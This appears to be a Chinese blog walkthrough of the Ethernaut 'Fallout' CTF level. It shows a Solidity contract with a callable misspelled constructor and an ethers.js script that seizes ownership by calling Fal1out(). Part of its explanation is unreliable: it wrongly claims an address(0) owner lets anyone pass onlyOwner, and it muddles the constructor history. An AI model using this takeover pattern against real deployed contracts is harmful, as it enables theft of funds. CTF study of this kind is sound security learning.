Appearance
揭秘Ethernaut Fallout:一次令人拍案叫绝的智能合约“移形换影”
在区块链安全的世界里,CTF(Capture The Flag)比赛就像是一场智力的角逐,而Ethernaut则是其中一个臭名昭著的智能合约安全挑战平台。今天,我们将一同深入Ethernaut的一个经典关卡——Fallout,来一场精彩绝伦的智能合约“移形换影”之旅。
Fallout:一场“归属权”的攻防战
Fallout关卡的核心任务,正如其名,是**“声明合同的所有权”**。简单来说,就是我们要想方设法,让原本属于关卡作者的智能合约,其所有权落入我们的手中。听起来是不是很有意思?仿佛一场数字世界的“身份窃取”游戏!
让我们先来看看Fallout合约的庐山真面目:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner; // 重点来了!public owner
/* constructor */
function Fal1out() public payable { // 注意函数名!
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
陷阱在哪里?细思极恐的“命名游戏”
阅读合约代码,我们首先会注意到一个名为 owner 的 public 变量,它似乎记录着合约的真正主人。然后,我们看到了一个 onlyOwner 的修饰器,它严密地守护着 collectAllocations 方法,确保只有 owner 才能调用。
然而,仔细观察构造函数,你会发现一个惊天秘密!它的名字叫做 Fal1out(),而不是通常的 constructor()。在Solidity 0.6.0之前的版本中,构造函数的命名是灵活的,并不强制要求是constructor。而这个 Fal1out() 函数,正是唯一的初始化 owner 变量的地方!
这意味着什么?
- 构造函数并未被执行: 当合约部署时,
Fal1out()函数并没有被自动调用。因此,owner变量的值从未被设置。 owner变量的默认值: 对于Solidity中的地址类型,未初始化的变量默认值为address(0),也就是0x0000000000000000000000000000000000000000。
问题来了: 如果 owner 变量始终是 address(0),那么 onlyOwner 修饰器还能起到什么作用?理论上,任何人都可以绕过 require(msg.sender == owner) 的检查!
绝妙的“移形换影”:如何夺取所有权?
Bingo!我们找到了突破口。既然 owner 变量没有被初始化,那么当有人主动调用 Fal1out() 函数时,owner 变量就会被设置为调用者的地址!
这就像一个“移形换影”的魔法,只要有人唤醒了这个沉睡的“伪构造函数”,合约的“幽灵主人”就会立刻变成他自己。
而我们,就是要成为那个施展魔法的人!
答案揭晓:用代码实现“夺权”
Ethernaut的答案部分为我们提供了使用JavaScript(通过ethers.js库)来与合约交互的代码:
javascript
import { ethers } from "ethers";
async function main() {
const provider = new ethers.JsonRpcProvider("https://eth-sepolia.g.alchemy.com/v2/..."); // 替换为你的RPC节点
const wallet = new ethers.Wallet("0x...", provider); // 替换为你的私钥
const contractAddress = "0x..."; // 替换为Fallout合约的地址
const abi = [
"function owner() external view returns (address)",
"function Fal1out() public payable", // 重点:就是它!
];
const contract = new ethers.Contract(contractAddress, abi, wallet);
try {
// 关键步骤:直接调用Fal1out()函数,将owner设置为我们自己
const tx = await contract.Fal1out();
await tx.wait();
console.log("成功夺取Fallout合约所有权!");
} catch (error) {
console.error("夺权失败:", error);
}
}
main().then(() => process.exit(0)).catch((error) => {
process.exit(1)
})
操作流程:
- 部署或连接合约: 首先,你需要获取Ethernaut提供的Fallout合约的地址。
- 准备你的钱包: 使用你的以太坊钱包(例如MetaMask)或者通过代码指定一个带有足够Gas费的私钥。
- 执行关键函数: 编写JavaScript代码,利用ethers.js库连接到Ethereuem Sepolia测试网(或者Ethernaut指定的测试网络),然后直接调用
Fal1out()函数。 - 矿工确认: 等待交易被打包并确认。一旦交易成功,
owner变量的值就会被更新为你的地址!
恭喜你!你已成为Fallout的新主人!
通过巧妙地利用Solidity早期版本中构造函数命名的灵活性,以及合约未正确初始化的漏洞,我们成功地绕过了 onlyOwner 的限制,并取得了Fallout合约的所有权。这不仅仅是解开了一个CTF题目,更是对智能合约开发中细节和安全性的深刻理解。
Fallout关卡以一种出人意料的方式,教会了我们:
- Solidity版本演进的重要性: 不同版本的Solidity在语法和语义上可能存在差异。
- 构造函数安全: 务必使用标准的
constructor关键字,并确保其正确执行。 - 变量初始化的重要性: 未初始化的变量可能导致意想不到的后果。
希望这次Fallout的探险,能让你对智能合约安全有更深的认识,并在未来的区块链安全旅程中,更加游刃有余!